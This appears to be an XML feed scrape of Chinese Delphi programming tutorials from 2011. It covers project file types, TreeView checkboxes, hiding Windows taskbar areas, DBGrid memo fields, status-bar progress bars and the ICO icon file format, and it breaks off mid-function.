log
日志文件。文本格式，无需进源代码库。
map
可执行文件布局文件。文本格式，无须进源代码库。
mdb/dbf/gd*/db/mdx/dbt/ndx/mb/val/qbe/px/x*/y*
桌面数据库文件。依据工程决定是否需要进源代码库。
obj/o
目标文件。二进制格式，如为源代码$L链接的目标文件，需要进源代码库。
ocx
Activex控件文件。二进制格式，如为源代码使用到的第三方控件，则需要进源代码库。
pas
单元文件。文本格式，需要进源代码库。
rc
资源脚本文件。经使用brcc32.exe编译后成为res文件。文本格式，需要进源代码库。
res
资源文件。包含了程序的主图标，字符串表，图标，图形等等。二进制格式，需要进源代码库。
rps/dfn
多国语言翻译文件。DelphiI的DE提供了一种多国语言支持机制。dfn为二进制格式，如果工程采用Delphi提供的此机制国际化，则需要将这些文件进源代码库。
rsm
调试符号信息文件。一些额外的调试工具需要调试符号信息，如果要支持这些工具，则需要提供rsm文件。二进制格式，无需进源代码库。
sql/tql
SQL语句和SQL模板文件。二进制格式，需进源代码库。
stat
工程统计信息文件。文本格式，无需进源代码库。
tds
外部调试符号表文件。无需进源代码库。
todo
Todo列表文件。无需进源代码库。
upg
升级信息文件。无需进源代码库。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi中为TreeView添加单选框和复选框 </title>
<link>http://www.youjoys.cn/knowledge/20110728/348.html </link>
<description>打开电脑，进入Windows操作系统，在资源管理器的左边栏中清楚地显示了系统管理的所有磁盘的信息以及各个磁盘所容纳的文件与文件夹(如图一)。这种常见的显示方式 </description>
<text>
	副标题#e# 天极 小刀轻舞

	打开电脑，进入Windows操作系统，在资源管理器的左边栏中清楚地显示了系统管理的所有磁盘的信息以及各个磁盘所容纳的文件与文件夹(如图一)。这种常见的显示方式是由一个根节点和若干个子节点构成的，这被称为&amp;ldquo;树形结构&amp;rdquo;。这种树形结构的用途非常广泛，在很多常用软件中都出现过它的身影。Windows中将这种结构封装为&amp;ldquo;树形控件&amp;rdquo;，即TreeView控件，它与ListView、Button等一样都属于系统自带的通用公共控件。在Delphi中，TreeView也被封装成了VCL组件，它的位置在&amp;ldquo;Win32组件&amp;rdquo;面板上，是我们最常用的几个组件之一。

	&amp;nbsp;

	Delphi自带的TreeView组件可以显示树形结构，也可以为每个节点指定不同的图标来区分各自的功能。但在平时的使用中，我们发现它并不能嵌入CheckBox或者是RadioButton组件，这样用户就不能直观地选择某一部分节点或某个节点。如何来解决这个问题呢？我们思考之后发现，有两种思路可以完成前面所述的任务。一种是在TreeView组件的基础上继承的它的功能，并添加所要的功能（使TreeView能嵌入CheckBox或者是RadioButton组件）即重写一个组件。另一种是利用用户的错觉，将CheckBox或者是RadioButton所能实现的外观用两种状态的图片（一种是选中状态另一种是未选中状态）来交替显示，走迂回路线来完成任务。我们来分析一下这两种方法的优缺点：第一种方法要重写一个组件，显然难度较大，所用时间较长；第二种方法，利用TreeView组件本身就具备的显示图标功能，简便易行，所用时间短，能够完成需求。比较之后，我们选择作用第二种方法，先来看一下完成之后的效果(如图二)，应该说是达到了目的，现在我们来细述一下完成的过程：

	&amp;nbsp;

	#p#副标题#e# 天极 小刀轻舞

	&amp;nbsp;

	&amp;nbsp;

	首先，我们在Win32面板上选择ImageList组件，设置它的StateImages属性，包括两种状态的图标，一种是选中状态，另一种是未先中状态。

	其次，我们调用ToggleTreeView过程(实现方法见后文)，实现在鼠标单击和键盘选择的状态下改变状态图标的功能。

	ToggleTreeView过程实现代码如下：

	　　procedure ToggleTreeViewCheckBoxes(
	　　 Node :TTreeNode;
	　　 cUnChecked, //CheckBox未选中状态
	　　 cChecked, //CheckBox选中状态
	　　 cRadioUnchecked, //RadioButtion未选中状态
	　　 cRadioChecked :integer); // RadioButtion选中状态
	　　 var
	　　 tmp:TTreeNode;
	　　 begin
	　　 if Assigned(Node) then
	　　 begin
	　　 //如果当前是未选中状态则变为选中状态 　　　 if Node.StateIndex = cUnChecked then
	　　 Node.StateIndex := cChecked
	　　 //如果当前是选中状态则变为未选中状态
	　　 else if Node.StateIndex = cChecked then
	　　 Node.StateIndex := cUnChecked
	　　 else if Node.StateIndex = cRadioUnChecked then
	　　 begin
	　　 tmp := Node.Parent;
	　　 if not Assigned(tmp) then
	　　 tmp := TTreeView(Node.TreeView).Items.getFirstNode
	　　 else
	　　 tmp := tmp.getFirstChild;
	　　 while Assigned(tmp) do
	　　 begin
	　　 if (tmp.StateIndex in
	　　 [cRadioUnChecked,cRadioChecked]) then
	　　 tmp.StateIndex := cRadioUnChecked;
	　　 tmp := tmp.getNextSibling;
	　　 end;
	　　 Node.StateIndex := cRadioChecked;
	　　 end; // if StateIndex = cRadioUnChecked
	　　 end; // if Assigned(Node)
	　　 end;

	第三，上面的代码解决的是状态图标转换的问题，那如何解决在鼠标单击和键盘选择之后就改变状态呢？下面给出实现代码：

	&amp;nbsp;

	#p#副标题#e# 天极 小刀轻舞

	&amp;nbsp;

	(1)当鼠标单击时，代码如下：

	　　procedure TForm1.TreeView1Click(Sender: TObject);
	　　 var
	　　 P:TPoint;
	　　 begin
	　　 GetCursorPos(P); //得到光标的位置
	　　 P := TreeView1.ScreenToClient(P);
	　　 if (htOnStateIcon in
	　　 TreeView1.GetHitTestInfoAt(P.X,P.Y)) then
	　　 ToggleTreeViewCheckBoxes(
	　　 TreeView1.Selected,
	　　 cFlatUnCheck,
	　　 cFlatChecked,
	　　 cFlatRadioUnCheck,
	　　 cFlatRadioChecked);
	　　 end;

	(2)当键盘选择时，代码如下：

	　　procedure TForm1.TreeView1KeyDown(
	　　 Sender: TObject;
	　　 var Key: Word;
	　　 Shift: TShiftState);
	　　 begin
	　　 if (Key = VK_SPACE) and
	　　 Assigned(TreeView1.Selected) then
	　　 ToggleTreeViewCheckBoxes(
	　　 TreeView1.Selected,
	　　 cFlatUnCheck,
	　　 cFlatChecked,
	　　 cFlatRadioUnCheck,
	　　 cFlatRadioChecked);
	　　 end;

	最后，我们给出一个小例子，来验证一下的我们试验的结果。在窗体上的摆放TreeView、ImageList、Button和一个Memo组件(如图三)，在加入上面的代码之后，我们来编写这个Button的单击事件的代码：

	　　　　procedure TForm1.Button1Click(Sender: TObject);
	　　　　 var
	　　　　 BoolResult:boolean;
	　　　　 tn : TTreeNode;
	　　　　 begin
	　　　　 if Assigned(TreeView1.Selected) then
	　　　　 begin
	　　　　 tn := TreeView1.Selected;
	　　　　 BoolResult := tn.StateIndex in
	　　　　 [cFlatChecked,cFlatRadioChecked];
	　　　　 Memo1.Text := tn.Text +
	　　　　 #13#10 +
	　　　　 &amp;#39;Selected: &amp;#39; +
	　　　　 BoolToStr(BoolResult, True);
	　　　　　　 //Memo给出所选中的节点和当前的状态
	　　　　 end;
	　　　　 end;

	&amp;nbsp;

	因为篇幅所限，上面的例子给出是最简单的一个情况，如果要编写更为专业的软件，请读者朋友充分发挥想象，一定做出更好的效果(如图四)。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,中为,TreeView,添加,单选,复选框,副 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi全面控制Windows任务栏 </title>
<link>http://www.youjoys.cn/knowledge/20110728/350.html </link>
<description>使用Windows95/NT/98操作系统的用户知道： Windows 正常启动后,在电脑屏幕下方出现一块 任务栏。从系统功能角度而言,整个任务栏包括几个不同的子区域,从左至右 </description>
<text>副标题#e#  韩莹
				
		
		使用Windows95/NT/98操作系统的用户知道：正常启动后,在电脑屏幕下方出现一块 任务栏。从系统功能角度而言,整个任务栏包括几个不同的子区域,从左至右依次是：开始 按钮、应用程序切换区(Application Switch Bar)、任务栏通知区(Notification Area)以 及任务栏时钟。与其它Windows应用程序相同,任务栏程序(systray.exe)由几个不同的窗体 组成,这些窗体是具有各自的窗口类名、显示方式等信息。因此,只要得到有关窗口信息, 即可通过编程全面控制Windows任务栏的不同区域。
1. 编程思想
(1)任务栏窗体的窗口信息为：
①任务栏的窗口类名是：ShellTrayWnd。
②开始按钮的窗口类名是：Button。
③应用程序切换区的窗口类名是：ReBarWindow32。
④任务栏通知区的窗口类名是：TrayNotifyWnd。
⑤任务栏时钟的窗口类名是：TrayClockWClass。
(2)调用FindWindow函数得到任务栏的窗口句柄。
(3)调用FindWindowEx函数得到任务栏各子区域的窗口句柄。
(4)根据窗口句柄,调用ShowWindow函数控制任务栏各区域显示或隐藏 (show/hide)；调用En ableWindow函数控制任务栏各区域有效或无效(enabled/disabled)。
2. 编程方法
(1)在Delphi3.0 IDE中新建工程Project1, Project1中包含Form1, 窗体如下图所示：
(2)定义窗口句柄数组：Wnd:array［0..4］ of THandle;
(3)GetHandles过程代码如下：
procedure TForm1.GetHandles;
begin
　 //得到Tray Bar的窗口句柄；
　 Wnd［0］:=FindWindow(&amp;prime;ShellTrayWnd&amp;prime;,nil);
　 //得到开始按钮的窗口句柄；
　 Wnd［1］:=FindWindow(&amp;prime;ShellTrayWnd&amp;prime;,nil);
　 Wnd［1］:=FindWindowEx(Wnd［1］,HWND(0),&amp;prime;Button&amp;prime;,nil); //得到应用程序切换区的窗口句柄；
　 Wnd［2］:=FindWindow(&amp;prime;ShellTrayWnd&amp;prime;,nil);
　 Wnd［2］］:=FindWindowEx(Wnd［2］,HWND(0),&amp;prime;ReBarWindow32&amp;prime;,nil);
　 //得到任务栏通知区的窗口句柄；
　 Wnd［3］:=FindWindow(&amp;prime;ShellTrayWnd&amp;prime;,nil);
　 Wnd［3］:=FindWindowEx(Wnd［3］,HWND(0),&amp;prime;TrayNotifyWnd&amp;prime;,nil);
　 //得到任务栏时钟的窗口句柄；
　 Wnd［4］:=FindWindow(&amp;prime;ShellTrayWnd&amp;prime;,nil);
　 Wnd［4］:=FindWindowEx(Wnd［4］,HWND(0),&amp;prime;TrayNotifyWnd&amp;prime;,nil);
　 Wnd［4］:=FindWindowEx(Wnd［4］,HWND(0),&amp;prime;TrayCLockWClass&amp;prime;,nil);
end；

		#p#副标题#e#  韩莹
				
		
		
(4)EnableOrDisable过程代码如下：
procedure TForm1.EnableOrDisable(Sender:TOBject);
begin
　 GetHandles;
　 if TCheckBox(Sender). Checked then
　　 case TCheckBox(Sender). Tag of
　　　 0: EnableWindow(Wnd［0］, False);
　　　 1: EnableWindow(Wnd［1］, False);
　　　 2: EnableWindow(Wnd［2］, False);
　　　 3: EnableWindow(Wnd［3］, False);
　　　 4: EnableWindow(Wnd［4］, False);
　　　 end
　 else
　　 case TCheckBox(Sender). Tag of
　　　 0: EnableWindow(Wnd［0］, True);
　　　 1: EnableWindow(Wnd［1］, True);
　　　 2: EnableWindow(Wnd［2］, True);
　　　 3: EnableWindow(Wnd［3］, True);
　　　 4: EnableWindow(Wnd［4］, True);
　　　 end;
　 end;
(5)HideOrShow过程代码如下：
procedure TForm1.HideOrShow(Sender:TObject);
begin
　 GetHandles;
　 if TCheckBox(Sender). Checked then
　　 case TCheckBox(Sender). Tag of
　　　 0: ShowWindow(Wnd［0］,SWHIDE);
　　　 1: ShowWindow(Wnd［1］,SWHIDE);
　　　 2: ShowWindow(Wnd［2］,SWHIDE);
　　　 3: ShowWindow(Wnd［3］,SWHIDE);
　　　 4: ShowWindow(Wnd［4］,SWHIDE);
　　 end
　 else
　　 case TCheckBox(Sender). Tag of
　　　 0: ShowWindow(Wnd［0］,SWShow);
　　　 1: ShowWindow(Wnd［1］,SWShow);
　　　 2: ShowWindow(Wnd［2］,SWShow);
　　　 3: ShowWindow(Wnd［3］,SWShow);
　　　 4: ShowWindow(Wnd［4］,SWShow);
　　 end;
　 end;
(6)FormClose事件代码如下：//将Windows任务栏恢复到正常状态；
procedure TForm1.FormClose(Sender:TObject; var Action: TCloseAction);
　 var i:Integer;
　 begin
　　 for i:=0 to 4 do
　　 begin
　　　 EnableWindow(Wnd［i］,True);
　　　 ShowWindow(Wnd［i］,SWShow);
　　 end;
end;
(7)按F9运行程序。以上程序在Delphi3.0/4.0、Windows95/98简体中文版环境下调试通过。
(8)说明：本文所述方法同样适用于VB、VC、BC、C++Builder等编程工具,但应注意语法、 变量类型等不同要求。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi在DBGrid组件中显示和编辑MEMO字段 </title>
<link>http://www.youjoys.cn/knowledge/20110728/351.html </link>
<description>Delphi之所以能在.NET与JAVA两座大山重压之下，至今仍被广大编程爱好者喜爱、支持，究其原因，除了VCL框架设计精妙之外，强大的数据库程序开发能力也是其长盛不 </description>
<text>
	天极 小刀轻舞

	Delphi之所以能在.NET与JAVA&amp;ldquo;两座大山&amp;rdquo;重压之下，至今仍被广大编程爱好者喜爱、支持，究其原因，除了VCL框架设计精妙之外，强大的数据库程序开发能力也是其长盛不衰的关键因素之一。说到数据库开发不能不提到DELPHI中自带的功能强劲的数据感知组件，这些组件中最为常用的当属DBGrid组件，这个组件提供了二维表的数据显示方式，一次提供的信息量大、结构鲜明、一目了然。虽然它有这么多优点，然而&amp;ldquo;没有银弹&amp;rdquo;（其大意为没有一种形式可以解决所有的问题）这句IT界中人所共知的箴言又开始应验了，它有不少缺点，其中一个就是：当你开发一个数据库应用程序时，如果所用的数据表中带有MEMO（备注类型）的字段，你会注意到，在DBGrid的缺省显示方式下，这种类型的字段将显示成&amp;ldquo;（MEMO）&amp;rdquo;的形式（如图1所示）。MEMO字段类型中数据表中的主要功能是存放相对比较大数量的文本或是文本与数字的结合，在大多数数据库中这种类型的数据有规定的数量上的限定。

	&amp;nbsp;

	只能显示&amp;ldquo;（MEMO）&amp;rdquo;这种形式显然不能够满足用户的需要，为了能够使得数据被实际显示出来，我们需要写一些代码，对DBGrid做一点功能上的增强。首先，我们要先在数据库中建立一张表，命名为TestTable，这张表中至少要有一个MEMO类型的字段，把它命名为Data。然后我们来给字段的OnGetText事件写一段代码实现上面的需求。操作步骤如下：

	1． 把你的TDataset组件与刚才新建的数据库中的TestTable表相连接。

	2． 双击TDataset组件来打开字段编辑器（Fields editor）。

	3． 添加MEMO字段Data.

	4． 选中该字段，在对象检查器中（Object Inspector）双击OnGetText事件建立事件句柄。

	编写代码如下：

	procedure TForm1.DBTableDataGetText(Sender: TField;
	var Text: String;
	DisplayText: Boolean);
	begin
	Text := Copy(DBTableData.AsString, 1, 50);
	end;

	TDataset对象的名字是&amp;ldquo;DBTable&amp;rdquo;，MEMO字段的名字是&amp;ldquo;Data&amp;rdquo;，因此缺省情况下连接到MEMO字段的TMEMOField名字是&amp;ldquo;DBTableData&amp;rdquo;。我们在代码中告诉DBGrid将MEMO字段显示成文本方式，就是把实际的内容显示出来。这里有一个值得注意的地方，因为MEMO字段可以容纳比较多的文本，在DBGrid中全部显示出来的话，DBGrid就会被撑得很大，所以我们做了限制，只是把MEMO中的前50个字符显示出来。（如图2）

	&amp;nbsp;

	显示的工作完成之后，我们还想对显示出来的文本进行编辑，这在缺省状态下是不可以实现的，我们准备另建一个窗体，在上面放置一个DBMemo组件，用它来对文本进行编辑，思考到这里还有一个需要解决的问题，如何来触发一次编辑过程呢？就用键盘的回车键吧，当记录指针指向这条记录时，按下回车键，则弹出一个窗体，上面的DBMemo组件可以显示并且编辑文本。实现代码如下：

	procedure TForm1.DBGrid1KeyDown(
	　 Sender: TObject;
	　 var Key: Word;
	　 Shift: TShiftState);
	　 begin
	　　 //如果按下的是回车键则触发下面的代码
	　　 if Key = VK_RETURN then
	　　 begin
	　　　 if DBGrid1.SelectedField = DBTableData then
	　　　　 //建立新的窗体
	　　　　 with TMemoEditorForm.Create(nil) do
	　　　　 try
	　　　　　 //读取数据库中的数据用DBMemo来显示
	　　　　　 DBMemoEditor.Text := DBTableData.AsString;
	　　　　　 ShowModal;
	　　　　　 DBTable.Edit;
	　　　　　 DBTableData.AsString := DBMemoEditor.Text;
	　　　　 finally
	　　　　　 Free;
	　　　　 end;
	　　 end;
	　 end;

	上面的步骤实现之后，实际的程序运行效果是这样的(如图3)。

	&amp;nbsp;

	动动你的脑筋、理清思路、列出算法，很多知名软件中的很酷功能我们都能够来实现，各位读者月友，打开DELPHI，体验一下吧。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,DBGrid,组件,显示,编辑,MEMO,字段 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>DELPHI在状态栏中显示进程条 </title>
<link>http://www.youjoys.cn/knowledge/20110728/352.html </link>
<description>经常上网的朋友可能早就已经发现，在一些浏览器的底部会在某些情况下动态显示一个进程条，比如在显示网页的时候，如果时间比较长，就会出现一个一格一格前进的 </description>
<text>
	天极 小刀轻舞

	经常上网的朋友可能早就已经发现，在一些浏览器的底部会在某些情况下动态显示一个进程条，比如在显示网页的时候，如果时间比较长，就会出现一个一格一格前进的，用以提醒用户已经有多少数据被下传下来。它不仅仅出现在浏览器中，还经常被用于下载软件中，比如现在最热门的BT下载软件，都使用了这一技术。技术的改进源于工作的需要，现在编写网络软件那么流行，上面的小技巧应该是每个像我们这样的编程爱好者都需要的吧。

	&amp;nbsp;

	打开DELPHI，选择WIN32面板上的状态栏（StatusBar）组件，放到窗体（Form）上（图1），默认情况下状态栏组件将自动被摆放到窗体的底部（即Align属性被设为alBottom），同时该状态栏上初始为一个面板（Panel），为了使下面的表述清楚，我们来给这个状态栏加一个面板，操作步骤如下：

	1.双击状态栏组件打开面板编辑器（Panels editor）。

	2.右击面板编辑器然后选择&amp;ldquo;Add&amp;rdquo;，添加一个面板。

	3.选择第一个面板,在对象检查器（Object Inspector）中选中Text属性，写入&amp;ldquo;Progress：&amp;rdquo;。

	4.关闭面板编辑器。

	仅仅有一个状态栏当然不行，今天的主角应该是Progress（进程条）才对，现在我们把进程条摆放到窗体上来。（图2）

	&amp;nbsp;

	看到上面的图之后，有的急性子读者可能要问，怎么那个进程在状态条的上面，而不是在它的内部，就是在面板上呢？这个不是我要的结果嘛！别急，别急，下面的才是今天的压轴好戏，把进程条放到状态栏的面板上，还能让它动起来。操作步骤如下：

	1.把ProgressBar的Parent属性设为StatusBar。

	2.把StatusBar的第二块面板的Style属性改成&amp;ldquo;psOwnerDraw&amp;rdquo;，这里是解决问题的关键，当Style被设为psOwnerDraw之后，面板上就可以被放制其它的组件，实现的方法是在OnDrawPanel事件中编写代码，默认情况是被设为psText，这样就只能显示文本，就像第一块面板那样。

	上面的步骤在实际编写代码时是这样实现的：

	1.//首先在FormCreate事件中编写代码
	procedure TForm1.FormCreate(Sender: TObject);
	var
	　 ProgressBarStyle: integer;
	begin
	　 //将状态栏的第二块面板设为的自绘（即psOwnerDraw）
	　 StatusBar1.Panels[1].Style := psOwnerDraw;
	　 //将进程条放入状态栏
	　 ProgressBar1.Parent := StatusBar1;
	　 //去除状态栏的边框，这样就与状态栏溶为一体了
	　 ProgressBarStyle := GetWindowLong(ProgressBar1.Handle,GWL_EXSTYLE);
	　 ProgressBarStyle := ProgressBarStyle - WS_EX_STATICEDGE;
	　 SetWindowLong(ProgressBar1.Handle, GWL_EXSTYLE, ProgressBarStyle);
	end;
	2.//编写状态栏的自绘代码
	procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar;Panel: TStatusPanel;const Rect: TRect);
	begin
	　 //注意这里的Panels[1]指的就是第2块面板，因为默认是从0开始的
	　 if Panel = StatusBar.Panels[1] then
	　　 with ProgressBar1 do begin
	　　　 Top := Rect.Top;
	　　　 Left := Rect.Left;
	　　　 Width := Rect.Right - Rect.Left - 15;
	　　　 Height := Rect.Bottom - Rect.Top;
	　　 end;
	　 end;

	关键问题解决之后，我们来一个小例子，这样就可以有一个全局的印象了，控件的摆放如（图3）所示，编写代码如下：

	&amp;nbsp;

	procedure TForm1.Button1Click(Sender: TObject);
	var
	i : integer;
	begin
	ProgressBar1.Position := 0;
	ProgressBar1.Max := 100;
	for i := 0 to 100 do
	begin
	ProgressBar1.Position := i;
	Sleep(25);
	end;
	end;

	运行一下这个小程序，点击一下按钮，看到了吧，进程条在状态栏中动起来了。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>DELPHI,状态,栏中,显示,进程,天极,小刀,轻舞,经常 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>Delphi实现24位真彩色图标 </title>
<link>http://www.youjoys.cn/knowledge/20110728/353.html </link>
<description>引言 Delphi是目前广泛使用的可视化开发工具，它自身带有一个图片、图标的编辑器Image Editor，但是到Delphi7为止，都不能进行真彩图标的编辑，可以说是一个遗 </description>
<text>副标题#e# 计算机与信息技术 李金刚
				
		
		引言
Delphi是目前广泛使用的可视化开发工具，它自身带有一个图片、图标的编辑器&amp;mdash;&amp;mdash;Image Editor，但是到Delphi7为止，都不能进行真彩图标的编辑，可以说是一个遗憾。笔者通过对图标文件的研究，实现了产生24位真彩色图标。
图标文件的格式
首先，分析一个具体的图标 。在CS1.6中有一个图标game.ico（ ），如果用WinHex等可以进行16进制编辑的软件打开这个图标文件，我们可以看到如下数据：
00 00 01 00 04 00 10 10 00 00 00 00 00 00 68 05
00 00 46 00 00 00 10 10 00 00 00 00 00 00 68 03
00 00 AE 05 00 00 20 20 00 00 00 00 00 00 A8 08
00 00 16 09 00 00 20 20 00 00 00 00 00 00 A8 0C
00 00 BE 11 00 00 28 00 00 00 10 00 00 00 20 00
00 00 01 00 08 00 00 00 00 00 40 01 00 00 47 46
6C 65 6D 69 6E 67 00 01 00 00 00 00 00 00 00 00
下面我们就说一说，这些数据的具体含义。一个图标文件(*.ICO),实际上可以含有多个图标.通常,每个图标都会被转换为针对特定显示设备的图标图像。图标文件由文件头和数据组成， ICO文件一开始，是一个叫做tagIconDir的记录型的结构，在Delphi中这样来描述（括号内的数值，是针对CS图标的具体数据）：
tagIconDir = packed record
idReserved:WORD;// 保留域，目前始终为 0（开始的数据$00 00）
idType:WORD; //定义为资源类型，图标值为 $0001、光标是$0002($0001)
idCount:WORD; //idCount 表示的是这个文件里包含了几个图标($0004)
idEntries:array[0..0] of tagIconDirEntry; //不包括本数组，以上一共6个字节
end;
这个记录中的idEntries 是个数组结构，这个结构的大小不是始终为 1 的一个数组，它需要根据图标数目 ( idCount ) 来确定真实的数组大小。它的类型为tagIconDirEntry记录，定义如下：
tagIconDirEntry = packed record
bWidth:BYTE;// 图标图片的显示宽度，以像素为单位，最大值为255 ($10=16D)
bHeight:BYTE;// 图标图片的显示高度，以像素为单位，最大值为255 ($10=16D)
bColorCount:BYTE;// 图标图片的颜色数($00)
bReserved:BYTE;// 保留域总是 0 ($00)
wPlanes:WORD;// 图标图片的位面数 ($00 00)
wBitCount:WORD;// 图标图片的颜色深度($00 00)
dwBytesInRes:DWORD;// 图标图片占用的数据量($00000568)
dwImageOffset:DWORD; // 图标图片的开始位置 ($00000046)
end;.// 这个结构是16个字节
上面说的idCount 表示图标文件里包含的图标个数，每个图标都要有一个tagIconDirEntry结构来表示图标的具体信息。根据本结构的dwBytesInRes和dwImageOffset我们就可以确定图片（图标）的位置了。在该位置的数据是一个称为agIconImage的记录，它是这样定义的：
tagIconImage = packed record
icHeader:TBitmapInfoHeader; //BMP文件的信息头
icColors:array[0..0]of TRGBQuad;
icXOR:array[0..0]of BYTE;
icAND:array[0..0]of BYTE;
end;
从这个定义中我们可以看出，这个内容就是一个标准的位图格式，只不过多了两项，icXOR和icAND，普通的位图信息里是没有这2 个成员的。大家知道，图标在被显示时，是利用遮罩方法将 2 副位图在同一个位置显示才产生任意轮廓的，先使用 XOR 位 图抠出需要显示的区域，然后再在抠出的区域中显示出需要显示的图形。由于这个缘故，图标的位图格式中的位图信息头 ( TBitmapInfoHeader ) 是 2 个位图共用 的。它与普通位图头信息最大的不同是 TBitmapInfoHeader.biHeight 成员，显然它是 2 副位图高度的总和。讲到这里，我们需要对位图（BMP）文件的格式有些了解了。

		#p#副标题#e# 计算机与信息技术 李金刚
				
		
		
位图文件的格式
BMP文件由文件头、位图信息头、颜色信息和图形数据四部分组成。按照微软的定义，在开始的文件头由14个字节组成：
tagBITMAPFILEHEADER= packed record
bfType:WORD; // 位图文件的类型，必须为BM
bfSize:DWORD; // 位图文件的大小，以字节为单位
bfReserved1:WORD; // 位图文件保留字，必须为0
bfReserved2:WORD; // 位图文件保留字，必须为0
bfOffB its:DWORD; // 位图数据的起始位置，以相对于位图
// 文件头的偏移量表示，以字节为单位
End;
紧接着上一记录的是位图信息头tagBITMAPINFOHEADER，BMP位图信息头数据用于说明位图的尺寸等信息。这个信息头就是上文说的TBitmapInfoHeader，它的长度固定为40字节。
tagBITMAPINFOHEADER= packed record
biSize:DWORD; // 本结构所占用字节数
biWidth:LONGINT // 位图的宽度，以像素为单位
biHeight; :LONGINT // 位图的高度，以像素为单位
biPlanes; :WORD // 目标设备的级别，必须为1
biBitCount :WORD // 每个像素所需的位数，必须是1(双色),
// 4(16色)，8(256色)或24(真彩色)之一
biCompression :DWORD; // 位图压缩类型，必须是 0(不压缩),
// 1(BI_RLE8压缩类型)或2(BI_RLE4压缩类型)之一
biSizeImage :DWORD; // 位图的大小，以字节为单位
biXPelsPerMeter:LONGINT; // 位图水平分辨率，每米像素数
biYPelsPerMeter:LONGINT; // 位图垂直分辨率，每米像素数
biClrUsed:DWORD;// 位图实际使用的颜色表中的颜色数
biClrImportant:DWORD;// 位图显示过程中重要的颜色数
End;
紧接着就是颜色表，用于说明位图中的颜色，它有若干个表项，每一个表项是一个RGBQUAD类型的结构，定义一种颜色。RGBQUAD结构的定义如下:
tagRGBQUAD = packed record
rgbBlue:BYTE;// 蓝色的亮度(值范围为0-255)
rgbGreen:BYTE; // 绿色的亮度(值范围为0-255)
rgbRed:BYTE; // 红色的亮度(值范围为0-255)
rgbReserved:BYTE;// 保留，必须为0
end;
颜色表中RGBQUAD结构数据的个数有biBitCount来确定:
当biBitCount=1,4,8时，分别有2,16,256个表项;
当biBitCount=24时，没有颜色表项。
位图信息头和颜色表组成位图信息，BITMAPINFO结构定义如下:
tagBITMAPINFO = packed record
bmiHeader :BITMAPINFOHEADER; // 位图信息头
bmiColors[0..0] :RGBQUAD; // 颜色表
End;24位真彩色图形转化为ICO文件
有了上面的基础知识，把24位真彩色图形转化为ICO文件就比较简单了，至于采用哪种编程语言，就看编程者的爱好了。下面笔者就采用Delphi实现本功能，进行详细介绍。
上面讲的是把BMP格式的图像转换为ICO文件，因此，对于其他格式的图像我们要先把它转换为位图。在Delphi中我们可以采用如下方法：
procedure TFormMain.Pic2BMP(Picture:TPicture);
var Bmp:TBitmap;
begin
　 if not(Picture.Graphic is TBitmap)then//判断是否是BMP图像
　 begin
　　 Bmp:=TBitmap.Create;//不是BMP图形，就生成一个
　　 try
　　　 Bmp.Width:=Picture.Width;
　　　 bmp.Height:=Picture.Height;
　　　 bmp.Canvas.Draw(0,0,Picture.Graphic);//把其他格式的图像复制到BMP
　　　 Picture.Graphic:=Bmp;//原始非BMP图像转换为BMP图像
　　 Finally
　　　 Bmp.Free;
　　 end;
　 end;
end;
#p#副标题#e# 计算机与信息技术 李金刚
				
		
		
有了BMP图像了，我们还要改变图像的长和宽，使它们符合要求的图表尺寸，注意不超出255。我们用如下方法实现尺寸的改变：
procedure TFormMain.PicToMiniature(SourceBMP, DescBMP:TBitmap; picH,picW :Integer);
var
　 bmp: TBitmap;
begin
try
　 bmp := TBitmap.Create;//生成位图
　 bmp.Assign(SourceBMP);//位图图像为SourceBMP,
　 if picW&amp;gt;255 then PicW:=255;//长宽不可超出255
　　 if picH&amp;gt;255 then picH:=255;
　　　 bmp.Width := PicW;
　　　 bmp.Height :=PicH;
　　　 bmp.PixelFormat := pf24bit;//24位位图
　　　 bmp.Canvas.StretchDraw(Rect(0,0,picW,picH), SourceBMP);//使位图尺寸符合要求
　　　 DescBMP.Assign(bmp);
　　 finally
　　　 bmp.Free;
　　 end;
end;
生成位图的原料已经准备好了，就可以按ICO的文件头，关于程序的说明请看注释。
function TFormMain.MakICOHead(const Mem:TStream): Boolean;
var//采用流来生成
　 BMPHead1:tagBITMAPFILEHEADER;
　 BMPHead2: TBitmapInfoHeader;
　 BitsTotal:DWord;
begin
　 Result:=False;
　 Mem.Position:=0;
　 Mem.Read(BMPHead1,SizeOf(tagBITMAPFILEHEADER));//读取BMP文件由文件头
　 Mem.Read(BMPHead2,SizeOf(TBitmapInfoHeader));// 读取BMP位图信息头
　 if BMPHead2.biCompression=0 then //位图没有压缩
　 begin
　　 if (BMPHead2.biWidth&amp;lt;=255) and (BMPHead2.biHeight &amp;lt;=255)then
　　 begin
　　　 //caption:=IconFileName;
　　　 IconHand.idEntries.bWidth:= Byte(BMPHead2.biWidth) ;//IOC宽
　　　 IconHand.idEntries.bHeight:=Byte(BMPHead2.biHeight); //IOC高
　　　 BitsTotal:=(Mem.Size-54)*2+40;
　　　 //（BMP文件的大小－ 文件头、位图信息头）*2+位图信息头=ICO数据量
　　　 //乘以二的原因是：加icXOR的信息
　　　 IconHand.idEntries.dwBytesInRes:= BitsTotal;
　　　 IconHand.idEntries.dwImageOffset:=$00000016;
　　　 Result:=True;
　　 end;
　　 Mem.Position:=0;
　 end;
end;
有了文件头，最终可以生成ICO了，同样详细内容请看程序的注释。
function TFormMain.MakICOData( Mem:TStream): Boolean;
var
　 Mem1,Mem2:TMemoryStream;
　 Size:Longint;
　 BmtMapHandle2:TBitmapInfoHeader;
begin
　 Mem1:=TMemoryStream.Create;
　 Mem2:=TMemoryStream.Create;
